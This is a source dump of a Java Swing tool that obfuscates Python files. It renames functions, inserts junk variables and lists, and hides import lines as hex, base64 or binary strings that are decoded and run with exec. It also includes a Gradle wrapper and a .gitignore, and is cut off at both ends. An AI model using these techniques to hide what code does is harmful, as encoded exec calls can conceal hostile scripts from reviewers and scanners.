| argument.append(ws); 68 | 69 | if (i == location) { 70 | argument.append(randomRVal).append(" = ").append(RandomUtils.genRandomDouble(100, 3000)); 71 | argument.append("\n"); 72 | continue; 73 | } 74 | 75 | int r = RandomUtils.genRandomInt(0, 3); 76 | if (r == 1) { 77 | argument.append(genRandomVar()); 78 | } else { 79 | argument.append(genRandomList()); 80 | } 81 | argument.append("\n"); 82 | } 83 | 84 | argument.append("\t").append(ws).append("return (").append(randomRVal).append(" / ").append(RandomUtils.genRandomInt(2, 7)).append(") + ").append(RandomUtils.genRandomDouble(0.0, 100.0)); 85 | 86 | return argument.toString(); 87 | } 88 | 89 | private String genRandomVar() { 90 | return Core.CONFIG.getNamePrefix() + RandomUtils.genRandomString(Core.CONFIG.getNameLength()) + 91 | " = " + 92 | ((RandomUtils.genRandomInt(0, 3) == 1) ? RandomUtils.genRandomInt(10000, 999999999) : '"' + RandomUtils.genRandomString(200) + '"'); 93 | } 94 | 95 | private String genRandomList() { 96 | StringBuilder arguments = new StringBuilder(); 97 | for (int i = 0; i < 50; i++) { 98 | arguments.append((RandomUtils.genRandomInt(0, 3) == 1) ? RandomUtils.genRandomInt(10000, 999999999) : '"' + RandomUtils.genRandomString(100) + '"'); 99 | if (i < 49) { 100 | arguments.append(", "); 101 | } 102 | } 103 | return Core.CONFIG.getNamePrefix() + RandomUtils.genRandomString(Core.CONFIG.getNameLength()) + " = [" + arguments + "]"; 104 | } 105 | 106 | } 107 | -------------------------------------------------------------------------------- /src/main/java/org/madmeg/impl/tasks/RenameFunction.java: -------------------------------------------------------------------------------- 1 | package org.madmeg.impl.tasks; 2 | 3 | import org.madmeg.api.obfuscator.FindString; 4 | import org.madmeg.api.obfuscator.Mapper; 5 | import org.madmeg.api.obfuscator.RandomUtils; 6 | import org.madmeg.api.obfuscator.SplitFile; 7 | import org.madmeg.api.obfuscator.tasks.Task; 8 | import org.madmeg.api.obfuscator.tasks.elements.RenameObject; 9 | import org.madmeg.impl.Core; 10 | 11 | import java.io.IOException; 12 | import java.util.ArrayList; 13 | import java.util.Collection; 14 | import java.util.HashMap; 15 | import java.util.Map; 16 | import java.util.regex.Matcher; 17 | import java.util.regex.Pattern; 18 | 19 | /** 20 | * @author Madmegsox1 21 | * @since 12/12/2021 22 | */ 23 | 24 | public final class RenameFunction extends Mapper implements Task { 25 | private final ArrayList lines; 26 | public RenameFunction(SplitFile file){ 27 | super("Functions"); 28 | this.lines = file.lines; 29 | } 30 | /** 31 | *

How it works

32 | *

33 | * iterates through each line and looks for {@code ^def\s[a-zA-Z0-9]*} regex the obfuscator then generates 34 | * the new name for the class and maps it the {@link RenameObject} constructor it then renames the function and 35 | * function refs. 36 | *

37 | */ 38 | @Override 39 | public void completeTask() { 40 | //findFunctions().spliterator().forEachRemaining(System.out::println); 41 | addBulkMaps(findFunctions()); 42 | findRef(maps); 43 | try { 44 | saveMaps(Core.CONFIG.getMapPath()); 45 | } catch (IllegalAccessException | IOException e) { 46 | e.printStackTrace(); 47 | } 48 | } 49 | 50 | 51 | private Collection findFunctions(){ 52 | final Pattern pattern = Pattern.compile("^def\s[a-zA-Z0-9]*"); 53 | final Pattern wPattern = Pattern.compile("^\s +"); 54 | ArrayList renamesLines = new ArrayList<>(); 55 | for (String line : lines){ 56 | final String tempLine = line.replaceAll("^\s +", ""); 57 | 58 | final Matcher matcher = pattern.matcher(tempLine); 59 | final Matcher wMatcher = wPattern.matcher(line); 60 | 61 | if(!matcher.find())continue; 62 | final String oldName = tempLine.substring(4).split("\\(")[0].replaceAll(" ", ""); 63 | if(oldName.equals("__init__"))continue; 64 | final RenameObject rename = new RenameObject(oldName, Core.CONFIG.getNamePrefix() + RandomUtils.genRandomString(Core.CONFIG.getNameLength()), (wMatcher.find()) ? wMatcher.group() : ""); 65 | renamesLines.add(rename); 66 | } 67 | return renamesLines; 68 | } 69 | 70 | 71 | private void findRef(Collection renameObject){ 72 | final Map map = new HashMap<>(); 73 | for(RenameObject name : renameObject){ 74 | final Pattern pattern = Pattern.compile(name.getOldName()+"[(]"); 75 | 76 | int i =0; 77 | 78 | for (String line : lines){ 79 | final String tempLine = line.replaceAll("\s", ""); 80 | final Matcher matcher = pattern.matcher(tempLine); 81 | if(!matcher.find()){ 82 | i++; 83 | continue; 84 | } 85 | 86 | final FindString findString = new FindString(line, false); // shit fix 87 | boolean removedString = false; 88 | if(findString.getFoundLine() != null && findString.getFoundLine().get(0).contains(name.getOldName() + "()")){ 89 | line = line.replace(findString.getFoundLine().get(0), "[+|---|.]"); 90 | removedString = true; 91 | } 92 | 93 | String[] oldLine = line.split("[(]"); 94 | line = oldLine[0]; 95 | line = line.replaceAll(name.getOldName(), name.getNewName() + "()" + ((oldLine[1].contains(":")) ? ":" : "")); 96 | 97 | if(removedString){ 98 | line = line.replace("[+|---|.]", findString.getFoundLine().get(0)); 99 | } 100 | map.put(i, line); 101 | i++; 102 | } 103 | 104 | 105 | } 106 | for (int lineIndex : map.keySet()){ 107 | lines.remove(lineIndex); 108 | lines.add(lineIndex, map.get(lineIndex)); 109 | } 110 | 111 | } 112 | } 113 | -------------------------------------------------------------------------------- /src/main/java/org/madmeg/impl/gui/Gui.java: -------------------------------------------------------------------------------- 1 | package org.madmeg.impl.gui; 2 | 3 | import org.madmeg.api.obfuscator.Loader; 4 | import org.madmeg.impl.Core; 5 | import org.madmeg.impl.config.ConfigLoader; 6 | 7 | import javax.swing.*; 8 | import java.awt.*; 9 | import java.io.File; 10 | 11 | public final class Gui extends JFrame { 12 | 13 | public Gui(){ 14 | super("Python Obfuscator"); 15 | } 16 | 17 | public File configFile; 18 | public File file; 19 | public JButton startButton; 20 | public static JTextArea logBox; 21 | 22 | public void render(){ 23 | addElements(); 24 | setDefaultCloseOperation(EXIT_ON_CLOSE); 25 | setSize(500,300); 26 | setLocationRelativeTo(null); 27 | setResizable(false); 28 | setVisible(true); 29 | } 30 | 31 | private void addElements(){ 32 | this.setLayout(new BorderLayout()); 33 | final JPanel header = new JPanel(); 34 | header.setLayout(new BoxLayout(header, BoxLayout.X_AXIS)); 35 | 36 | final JLabel label = new JLabel(new ImageIcon( 37 | new ImageIcon(getClass().getClassLoader().getResource("logo.png")).getImage().getScaledInstance( 38 | 280, 100, Image.SCALE_DEFAULT 39 | ) 40 | )); 41 | header.add(label); 42 | 43 | 44 | final JPanel filePanel = new JPanel(); 45 | filePanel.setLayout(new BoxLayout(filePanel, BoxLayout.Y_AXIS)); 46 | 47 | final JLabel configIndicator = new JLabel("Config File: NONE"); 48 | filePanel.add(configIndicator); 49 | 50 | final JButton configSelectButton = new JButton("Select Config File"); 51 | configSelectButton.addActionListener(e -> { 52 | final JFileChooser fileChooser = new JFileChooser(); 53 | if(e.getSource() == configSelectButton){ 54 | int rVal = fileChooser.showOpenDialog(this); 55 | 56 | if(rVal == JFileChooser.APPROVE_OPTION){ 57 | this.configFile = fileChooser.getSelectedFile(); 58 | configIndicator.setText("Config File: " + configFile.getName()); 59 | Core.LOGGER.printSuccess("Loading config"); 60 | Core.PLUGIN_LOADER.onConfig(); 61 | Core.CONFIG_LOADER = new ConfigLoader(configFile); 62 | Core.CONFIG = Core.CONFIG_LOADER.config; 63 | Core.LOGGER.printSuccess("Loaded config"); 64 | } 65 | } 66 | }); 67 | filePanel.add(configSelectButton); 68 | 69 | final JLabel fileIndicator = new JLabel("File: NONE"); 70 | filePanel.add(fileIndicator); 71 | 72 | final JButton fileSelectButton = new JButton("Select File"); 73 | fileSelectButton.addActionListener(e -> { 74 | final JFileChooser fileChooser = new JFileChooser(); 75 | if(e.getSource() == fileSelectButton){ 76 | int rVal = fileChooser.showOpenDialog(this); 77 | 78 | if(rVal == JFileChooser.APPROVE_OPTION){ 79 | this.file = fileChooser.getSelectedFile(); 80 | fileIndicator.setText("File: " + file.getName()); 81 | Core.PLUGIN_LOADER.onLoad(); 82 | Core.LOADER = new Loader(file); 83 | } 84 | } 85 | }); 86 | 87 | filePanel.add(fileSelectButton); 88 | 89 | startButton = new JButton("Obfuscate"); 90 | startButton.addActionListener(e -> { 91 | if(this.file == null || this.configFile == null){ 92 | Core.LOGGER.printError("Please select a file or config file."); 93 | return; 94 | } 95 | Core.LOGGER.printSuccess("Pooling Obfuscation tasks"); 96 | Core.PLUGIN_LOADER.onPoolTasks(); 97 | Core.TASK_FACTORY.poolTasks(); 98 | Core.LOGGER.printSuccess("Pooled Obfuscation tasks"); 99 | 100 | Core.LOGGER.printSuccess("Executing Obfuscation tasks"); 101 | Core.PLUGIN_LOADER.onExecute(); 102 | Core.TASK_FACTORY.runTasks(); 103 | Core.LOGGER.printSuccess("Completed all Obfuscation tasks"); 104 | Core.LOADER.save("Output.py"); 105 | }); 106 | filePanel.add(startButton); 107 | 108 | 109 | 110 | header.add(filePanel); 111 | this.add(header, BorderLayout.NORTH); 112 | 113 | logBox = new JTextArea(); 114 | logBox.setEditable(false); 115 | final JScrollPane scrollPane = new JScrollPane(logBox); 116 | scrollPane.setVerticalScrollBarPolicy(ScrollPaneConstants.VERTICAL_SCROLLBAR_ALWAYS); 117 | scrollPane.setHorizontalScrollBarPolicy(ScrollPaneConstants.HORIZONTAL_SCROLLBAR_AS_NEEDED); 118 | scrollPane.setAutoscrolls(true); 119 | 120 | final JPanel logPanel = new JPanel(); 121 | logPanel.setLayout(new BoxLayout(logPanel, BoxLayout.Y_AXIS)); 122 | 123 | logPanel.add(scrollPane, BorderLayout.CENTER); 124 | add(logPanel, BorderLayout.CENTER); 125 | } 126 | 127 | public static void log(String message){ 128 | logBox.setText(logBox.getText() + "\n" + message); 129 | } 130 | 131 | } 132 | -------------------------------------------------------------------------------- /src/main/java/org/madmeg/impl/tasks/EncodeImports.java: -------------------------------------------------------------------------------- 1 | package org.madmeg.impl.tasks; 2 | 3 | import org.madmeg.api.obfuscator.EncodingUtils; 4 | import org.madmeg.api.obfuscator.RandomUtils; 5 | import org.madmeg.api.obfuscator.SplitFile; 6 | import org.madmeg.api.obfuscator.tasks.Task; 7 | import org.madmeg.impl.Core; 8 | 9 | 10 | import java.io.UnsupportedEncodingException; 11 | import java.math.BigInteger; 12 | import java.nio.charset.StandardCharsets; 13 | import java.util.ArrayList; 14 | import java.util.Base64; 15 | import java.util.List; 16 | import java.util.Map; 17 | 18 | public final class EncodeImports implements Task { 19 | 20 | private final ArrayList lines; 21 | 22 | public EncodeImports(SplitFile file){ 23 | this.lines = file.lines; 24 | } 25 | /** 26 | *

How it works

27 | *

28 | * iterates through each line and looks for a import or from it then encodes into either binary, 29 | * hex or base64. Then a list will be generated and inserted after that the obfuscator will insert 30 | * {@code exec(listName[index].decode())} for every import 31 | *

32 | */ 33 | @Override 34 | public void completeTask() { 35 | final ArrayList toEncode = new ArrayList<>(); 36 | final ArrayList indexes = new ArrayList<>(); 37 | int index = 0; 38 | for(String line : lines){ 39 | if(!line.startsWith("import") && !line.startsWith("from")){ 40 | index++; 41 | continue; 42 | } 43 | toEncode.add(line); 44 | indexes.add(index); 45 | index++; 46 | } 47 | 48 | final ArrayList encoded = new ArrayList<>(); 49 | 50 | for(String unEncoded : toEncode){ 51 | switch (Core.CONFIG.getEncoderType().toLowerCase()){ 52 | case "hex" -> encoded.add(EncodingUtils.stringToHex(unEncoded).replaceFirst("^0*", "")); 53 | case "base64" -> encoded.add(EncodingUtils.stringToBase64(unEncoded)); 54 | case "bin" -> encoded.add(EncodingUtils.prettyBinary(EncodingUtils.stringToBinary(unEncoded), 8, Core.CONFIG.getBinarySplitter())); 55 | } 56 | } 57 | final String listName = Core.CONFIG.getNamePrefix() + RandomUtils.genRandomString(Core.CONFIG.getNameLength()); 58 | final StringBuilder list = new StringBuilder(listName + " = ["); 59 | for(int i = 0; i < Core.CONFIG.getEncodedListGarbageLength() - encoded.size(); i++){ 60 | switch (Core.CONFIG.getEncoderType().toLowerCase()){ 61 | case "hex" -> list.append('"').append(EncodingUtils.stringToHex(RandomUtils.genRandomString(100))).append('"'); 62 | case "base64" -> list.append('"').append(EncodingUtils.stringToBase64(RandomUtils.genRandomString(100))).append('"'); 63 | case "bin" -> list.append('"').append(EncodingUtils.prettyBinary(EncodingUtils.stringToBinary(RandomUtils.genRandomString(100)), 8, Core.CONFIG.getBinarySplitter())).append('"'); 64 | } 65 | list.append(", "); 66 | } 67 | int l = 0; 68 | for(String encodedS : encoded){ 69 | list.append('"').append(encodedS).append('"'); 70 | if(l < encoded.size() - 1) { 71 | list.append(", "); 72 | } 73 | l++; 74 | } 75 | list.append("]"); 76 | final StringBuilder constructedInjectionString = new StringBuilder("\n" + list + "\n"); 77 | for(int i : indexes){ 78 | lines.remove(i); 79 | } 80 | 81 | if(Core.CONFIG.getEncoderType().equals("base64")){ 82 | constructedInjectionString.append("import base64\n"); // TODO hide in a list 83 | } 84 | 85 | for(int i = 0; i < indexes.size(); i++){ 86 | int indexL = (Core.CONFIG.getEncodedListGarbageLength()-1) - i; 87 | constructedInjectionString.append("exec("); 88 | switch (Core.CONFIG.getEncoderType().toLowerCase()){ 89 | case "hex" -> constructedInjectionString.append("bytes.fromhex(").append(listName).append("[").append("0x000").append(String.format("%X", indexL)).append("].replace('', '')).decode('utf-8'))\n"); 90 | case "base64" -> constructedInjectionString.append("base64.b64decode(").append(listName).append("[").append("0x000").append(String.format("%X", indexL)).append("]))\n"); 91 | case "bin" -> constructedInjectionString.append("''.join(chr(int(").append(listName).append("[").append("0x000").append(String.format("%X", indexL)).append("].replace('") 92 | .append(Core.CONFIG.getBinarySplitter()).append("', '')[i*0x0008:i*0x0008+0x0008],(0x0003 - 0x0001))) for i in range(len(") 93 | .append(listName).append("[").append("0x000").append(String.format("%X", indexL)).append("].replace('") 94 | .append(Core.CONFIG.getBinarySplitter()).append("', ''))//(0x0004 + 0x0004))))\n"); 95 | } 96 | } 97 | lines.add(0, constructedInjectionString.toString()); 98 | 99 | 100 | index = 0; 101 | final ArrayList toRemove = new ArrayList<>(); 102 | for(String line : lines){ 103 | if(!line.startsWith("import") && !line.startsWith("from")){ 104 | index++; 105 | continue; 106 | } 107 | toRemove.add(index); 108 | } 109 | 110 | for (int i : toRemove){ // have to have this for some reason >???? 111 | lines.remove(i); 112 | } 113 | } 114 | } 115 | -------------------------------------------------------------------------------- /gradlew: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env sh 2 | 3 | # 4 | # Copyright 2015 the original author or authors. 5 | # 6 | # Licensed under the Apache License, Version 2.0 (the "License"); 7 | # you may not use this file except in compliance with the License. 8 | # You may obtain a copy of the License at 9 | # 10 | # https://www.apache.org/licenses/LICENSE-2.0 11 | # 12 | # Unless required by applicable law or agreed to in writing, software 13 | # distributed under the License is distributed on an "AS IS" BASIS, 14 | # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 15 | # See the License for the specific language governing permissions and 16 | # limitations under the License. 17 | # 18 | 19 | ############################################################################## 20 | ## 21 | ## Gradle start up script for UN*X 22 | ## 23 | ############################################################################## 24 | 25 | # Attempt to set APP_HOME 26 | # Resolve links: $0 may be a link 27 | PRG="$0" 28 | # Need this for relative symlinks. 29 | while [ -h "$PRG" ] ; do 30 | ls=`ls -ld "$PRG"` 31 | link=`expr "$ls" : '.*-> \(.*\)$'` 32 | if expr "$link" : '/.*' > /dev/null; then 33 | PRG="$link" 34 | else 35 | PRG=`dirname "$PRG"`"/$link" 36 | fi 37 | done 38 | SAVED="`pwd`" 39 | cd "`dirname \"$PRG\"`/" >/dev/null 40 | APP_HOME="`pwd -P`" 41 | cd "$SAVED" >/dev/null 42 | 43 | APP_NAME="Gradle" 44 | APP_BASE_NAME=`basename "$0"` 45 | 46 | # Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script. 47 | DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' 48 | 49 | # Use the maximum available, or set MAX_FD != -1 to use that value. 50 | MAX_FD="maximum" 51 | 52 | warn () { 53 | echo "$*" 54 | } 55 | 56 | die () { 57 | echo 58 | echo "$*" 59 | echo 60 | exit 1 61 | } 62 | 63 | # OS specific support (must be 'true' or 'false'). 64 | cygwin=false 65 | msys=false 66 | darwin=false 67 | nonstop=false 68 | case "`uname`" in 69 | CYGWIN* ) 70 | cygwin=true 71 | ;; 72 | Darwin* ) 73 | darwin=true 74 | ;; 75 | MSYS* | MINGW* ) 76 | msys=true 77 | ;; 78 | NONSTOP* ) 79 | nonstop=true 80 | ;; 81 | esac 82 | 83 | CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar 84 | 85 | 86 | # Determine the Java command to use to start the JVM. 87 | if [ -n "$JAVA_HOME" ] ; then 88 | if [ -x "$JAVA_HOME/jre/sh/java" ] ; then 89 | # IBM's JDK on AIX uses strange locations for the executables 90 | JAVACMD="$JAVA_HOME/jre/sh/java" 91 | else 92 | JAVACMD="$JAVA_HOME/bin/java" 93 | fi 94 | if [ ! -x "$JAVACMD" ] ; then 95 | die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME 96 | 97 | Please set the JAVA_HOME variable in your environment to match the 98 | location of your Java installation." 99 | fi 100 | else 101 | JAVACMD="java" 102 | which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 103 | 104 | Please set the JAVA_HOME variable in your environment to match the 105 | location of your Java installation." 106 | fi 107 | 108 | # Increase the maximum file descriptors if we can. 109 | if [ "$cygwin" = "false" -a "$darwin" = "false" -a "$nonstop" = "false" ] ; then 110 | MAX_FD_LIMIT=`ulimit -H -n` 111 | if [ $? -eq 0 ] ; then 112 | if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then 113 | MAX_FD="$MAX_FD_LIMIT" 114 | fi 115 | ulimit -n $MAX_FD 116 | if [ $? -ne 0 ] ; then 117 | warn "Could not set maximum file descriptor limit: $MAX_FD" 118 | fi 119 | else 120 | warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT" 121 | fi 122 | fi 123 | 124 | # For Darwin, add options to specify how the application appears in the dock 125 | if $darwin; then 126 | GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\"" 127 | fi 128 | 129 | # For Cygwin or MSYS, switch paths to Windows format before running java 130 | if [ "$cygwin" = "true" -o "$msys" = "true" ] ; then 131 | APP_HOME=`cygpath --path --mixed "$APP_HOME"` 132 | CLASSPATH=`cygpath --path --mixed "$CLASSPATH"` 133 | 134 | JAVACMD=`cygpath --unix "$JAVACMD"` 135 | 136 | # We build the pattern for arguments to be converted via cygpath 137 | ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null` 138 | SEP="" 139 | for dir in $ROOTDIRSRAW ; do 140 | ROOTDIRS="$ROOTDIRS$SEP$dir" 141 | SEP="|" 142 | done 143 | OURCYGPATTERN="(^($ROOTDIRS))" 144 | # Add a user-defined pattern to the cygpath arguments 145 | if [ "$GRADLE_CYGPATTERN" != "" ] ; then 146 | OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)" 147 | fi 148 | # Now convert the arguments - kludge to limit ourselves to /bin/sh 149 | i=0 150 | for arg in "$@" ; do 151 | CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -` 152 | CHECK2=`echo "$arg"|egrep -c "^-"` ### Determine if an option 153 | 154 | if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then ### Added a condition 155 | eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"` 156 | else 157 | eval `echo args$i`="\"$arg\"" 158 | fi 159 | i=`expr $i + 1` 160 | done 161 | case $i in 162 | 0) set -- ;; 163 | 1) set -- "$args0" ;; 164 | 2) set -- "$args0" "$args1" ;; 165 | 3) set -- "$args0" "$args1" "$args2" ;; 166 | 4) set -- "$args0" "$args1" "$args2" "$args3" ;; 167 | 5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;; 168 | 6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;; 169 | 7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;; 170 | 8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;; 171 | 9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;; 172 | esac 173 | fi 174 | 175 | # Escape application args 176 | save () { 177 | for i do printf %s\\n "$i" | sed "s/'/'\\\\''/g;1s/^/'/;\$s/\$/' \\\\/" ; done 178 | echo " " 179 | } 180 | APP_ARGS=`save "$@"` 181 | 182 | # Collect all arguments for the java command, following the shell quoting and substitution rules 183 | eval set -- $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS "\"-Dorg.gradle.appname=$APP_BASE_NAME\"" -classpath "\"$CLASSPATH\"" org.gradle.wrapper.GradleWrapperMain "$APP_ARGS" 184 | 185 | exec "$JAVACMD" "$@" 186 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Project exclude paths 2 | # Created by https://www.toptal.com/developers/gitignore/api/linux,gradle,eclipse,windows,forgegradle,intellij+all,emacs,vim 3 | # Edit at https://www.toptal.com/developers/gitignore?templates=linux,gradle,eclipse,windows,forgegradle,intellij+all,emacs,vim 4 | 5 | /bin/ 6 | /.vscode/ 7 | /.settings/ 8 | /.idea/ 9 | .idea/ 10 | .classpath/ 11 | .project/ 12 | 13 | ### Eclipse ### 14 | .metadata 15 | bin/ 16 | tmp/ 17 | *.tmp 18 | *.bak 19 | *.swp 20 | *~.nib 21 | local.properties 22 | .settings/ 23 | .loadpath 24 | .recommenders 25 | 26 | # External tool builders 27 | .externalToolBuilders/ 28 | 29 | # Locally stored "Eclipse launch configurations" 30 | *.launch 31 | 32 | # PyDev specific (Python IDE for Eclipse) 33 | *.pydevproject 34 | 35 | # CDT-specific (C/C++ Development Tooling) 36 | .cproject 37 | 38 | # CDT- autotools 39 | .autotools 40 | 41 | # Java annotation processor (APT) 42 | .factorypath 43 | 44 | # PDT-specific (PHP Development Tools) 45 | .buildpath 46 | 47 | # sbteclipse plugin 48 | .target 49 | 50 | # Tern plugin 51 | .tern-project 52 | 53 | # TeXlipse plugin 54 | .texlipse 55 | 56 | # STS (Spring Tool Suite) 57 | .springBeans 58 | 59 | # Code Recommenders 60 | .recommenders/ 61 | 62 | # Annotation Processing 63 | .apt_generated/ 64 | .apt_generated_test/ 65 | 66 | # Scala IDE specific (Scala & Java development for Eclipse) 67 | .cache-main 68 | .scala_dependencies 69 | .worksheet 70 | 71 | # Uncomment this line if you wish to ignore the project description file. 72 | # Typically, this file would be tracked if it contains build/dependency configurations: 73 | #.project 74 | 75 | ### Eclipse Patch ### 76 | # Spring Boot Tooling 77 | .sts4-cache/ 78 | 79 | ### Emacs ### 80 | # -*- mode: gitignore; -*- 81 | *~ 82 | \#*\# 83 | /.emacs.desktop 84 | /.emacs.desktop.lock 85 | *.elc 86 | auto-save-list 87 | tramp 88 | .\#* 89 | 90 | # Org-mode 91 | .org-id-locations 92 | *_archive 93 | 94 | # flymake-mode 95 | *_flymake.* 96 | 97 | # eshell files 98 | /eshell/history 99 | /eshell/lastdir 100 | 101 | # elpa packages 102 | /elpa/ 103 | 104 | # reftex files 105 | *.rel 106 | 107 | # AUCTeX auto folder 108 | /auto/ 109 | 110 | # cask packages 111 | .cask/ 112 | dist/ 113 | 114 | # Flycheck 115 | flycheck_*.el 116 | 117 | # server auth directory 118 | /server/ 119 | 120 | # projectiles files 121 | .projectile 122 | 123 | # directory configuration 124 | .dir-locals.el 125 | 126 | # network security 127 | /network-security.data 128 | 129 | 130 | ### ForgeGradle ### 131 | # Minecraft client/server files 132 | run/ 133 | 134 | ### Intellij+all ### 135 | # Covers JetBrains IDEs: IntelliJ, RubyMine, PhpStorm, AppCode, PyCharm, CLion, Android Studio, WebStorm and Rider 136 | # Reference: https://intellij-support.jetbrains.com/hc/en-us/articles/206544839 137 | 138 | # User-specific stuff 139 | .idea/**/workspace.xml 140 | .idea/**/tasks.xml 141 | .idea/**/usage.statistics.xml 142 | .idea/**/dictionaries 143 | .idea/**/shelf 144 | 145 | # Generated files 146 | .idea/**/contentModel.xml 147 | 148 | # Sensitive or high-churn files 149 | .idea/**/dataSources/ 150 | .idea/**/dataSources.ids 151 | .idea/**/dataSources.local.xml 152 | .idea/**/sqlDataSources.xml 153 | .idea/**/dynamic.xml 154 | .idea/**/uiDesigner.xml 155 | .idea/**/dbnavigator.xml 156 | 157 | # Gradle 158 | .idea/**/gradle.xml 159 | .idea/**/libraries 160 | 161 | # Gradle and Maven with auto-import 162 | # When using Gradle or Maven with auto-import, you should exclude module files, 163 | # since they will be recreated, and may cause churn. Uncomment if using 164 | # auto-import. 165 | # .idea/artifacts 166 | # .idea/compiler.xml 167 | # .idea/jarRepositories.xml 168 | # .idea/modules.xml 169 | # .idea/*.iml 170 | # .idea/modules 171 | # *.iml 172 | # *.ipr 173 | 174 | # CMake 175 | cmake-build-*/ 176 | 177 | # Mongo Explorer plugin 178 | .idea/**/mongoSettings.xml 179 | 180 | # File-based project format 181 | *.iws 182 | 183 | # IntelliJ 184 | out/ 185 | 186 | # mpeltonen/sbt-idea plugin 187 | .idea_modules/ 188 | 189 | # JIRA plugin 190 | atlassian-ide-plugin.xml 191 | 192 | # Cursive Clojure plugin 193 | .idea/replstate.xml 194 | 195 | # Crashlytics plugin (for Android Studio and IntelliJ) 196 | com_crashlytics_export_strings.xml 197 | crashlytics.properties 198 | crashlytics-build.properties 199 | fabric.properties 200 | 201 | # Editor-based Rest Client 202 | .idea/httpRequests 203 | 204 | # Android studio 3.1+ serialized cache file 205 | .idea/caches/build_file_checksums.ser 206 | 207 | ### Intellij+all Patch ### 208 | # Ignores the whole .idea folder and all .iml files 209 | # See https://github.com/joeblau/gitignore.io/issues/186 and https://github.com/joeblau/gitignore.io/issues/360 210 | 211 | .idea/ 212 | 213 | # Reason: https://github.com/joeblau/gitignore.io/issues/186#issuecomment-249601023 214 | 215 | *.iml 216 | modules.xml 217 | .idea/misc.xml 218 | *.ipr 219 | 220 | # Sonarlint plugin 221 | .idea/sonarlint 222 | 223 | ### Linux ### 224 | 225 | # temporary files which can be created if a process still has a handle open of a deleted file 226 | .fuse_hidden* 227 | 228 | # KDE directory preferences 229 | .directory 230 | 231 | # Linux trash folder which might appear on any partition or disk 232 | .Trash-* 233 | 234 | # .nfs files are created when an open file is removed but is still being accessed 235 | .nfs* 236 | 237 | ### Vim ### 238 | # Swap 239 | [._]*.s[a-v][a-z] 240 | !*.svg # comment out if you don't need vector files 241 | [._]*.sw[a-p] 242 | [._]s[a-rt-v][a-z] 243 | [._]ss[a-gi-z] 244 | [._]sw[a-p] 245 | 246 | # Session 247 | Session.vim 248 | Sessionx.vim 249 | 250 | # Temporary 251 | .netrwhist 252 | # Auto-generated tag files 253 | tags 254 | # Persistent undo 255 | [._]*.un~ 256 | 257 | ### Windows ### 258 | # Windows thumbnail cache files 259 | Thumbs.db 260 | Thumbs.db:encryptable 261 | ehthumbs.db 262 | ehthumbs_vista.db 263 | 264 | # Dump file 265 | *.stackdump 266 | 267 | # Folder config file 268 | [Dd]esktop.ini 269 | 270 | # Recycle Bin used on file shares 271 | $RECYCLE.BIN/ 272 | 273 | # Windows Installer files 274 | *.cab 275 | *.msi 276 | *.msix 277 | *.msm 278 | *.msp 279 | 280 | # Windows shortcuts 281 | *.lnk 282 | 283 | ### Gradle ### 284 | .gradle 285 | build/ 286 | .idea/vcs.xml 287 | 288 | # Ignore Gradle GUI config 289 | gradle-app.setting 290 | 291 | # Avoid ignoring Gradle wrapper jar file (.jar files are usually ignored) 292 | !gradle-wrapper.jar 293 | 294 | # Cache of project 295 | .gradletasknamecache 296 | 297 | # # Work around https://youtrack.jetbrains.com/issue/IDEA-116898 298 | # gradle/wrapper/gradle-wrapper.properties 299 | 300 | ### Gradle Patch ### 301 | **/build/ 302 | 303 | # End of https://www.toptal.com/developers/gitignore/api/linux,gradle,eclipse,windows,forgegradle,intellij+all,emacs,vim -------------------------------------------------------------------------------- /src/main/java/org/madmeg/impl/config/Config.java: -------------------------------------------------------------------------------- 1 | package org.madmeg.impl.config; 2 | 3 | /** 4 | *

A constructor for configs

5 | * 6 | * @author Madmegsox1 7 | * @since 09/12/2021 8 | */ 9 | 10 | public final class Config { 11 | 12 | private boolean varNames; 13 | private boolean defNames; 14 | private boolean classNames; 15 | private int nameLength; 16 | private String namePrefix; 17 | private boolean insertGarbage; 18 | private int garbageAmount; 19 | private int garbageLength; 20 | private boolean removeComments; 21 | 22 | 23 | private boolean encodeImports; 24 | private int encodedListGarbageLength; 25 | private String encoderType; 26 | private String binarySplitter; 27 | private boolean encodeStrings; 28 | private boolean encodeInts; 29 | private boolean encodeCode; 30 | private String mapPath; 31 | 32 | public Config(){} 33 | 34 | /** 35 | * @return true if the config references obfuscation of var names {@link org.madmeg.impl.tasks.RenameVars} 36 | */ 37 | public boolean isVarNames() { 38 | return varNames; 39 | } 40 | 41 | 42 | /** 43 | * @param varNames the value set by {@link ConfigLoader} 44 | */ 45 | public void setVarNames(boolean varNames) { 46 | this.varNames = varNames; 47 | } 48 | 49 | /** 50 | * @return true if the config references obfuscation of function names {@link org.madmeg.impl.tasks.RenameFunction} 51 | */ 52 | public boolean isDefNames() { 53 | return defNames; 54 | } 55 | 56 | /** 57 | * @param defNames the value set by {@link ConfigLoader} 58 | */ 59 | public void setDefNames(boolean defNames) { 60 | this.defNames = defNames; 61 | } 62 | 63 | /** 64 | * @return true if the config references obfuscation of class names {@link org.madmeg.impl.tasks.RenameClass} 65 | */ 66 | public boolean isClassNames() { 67 | return classNames; 68 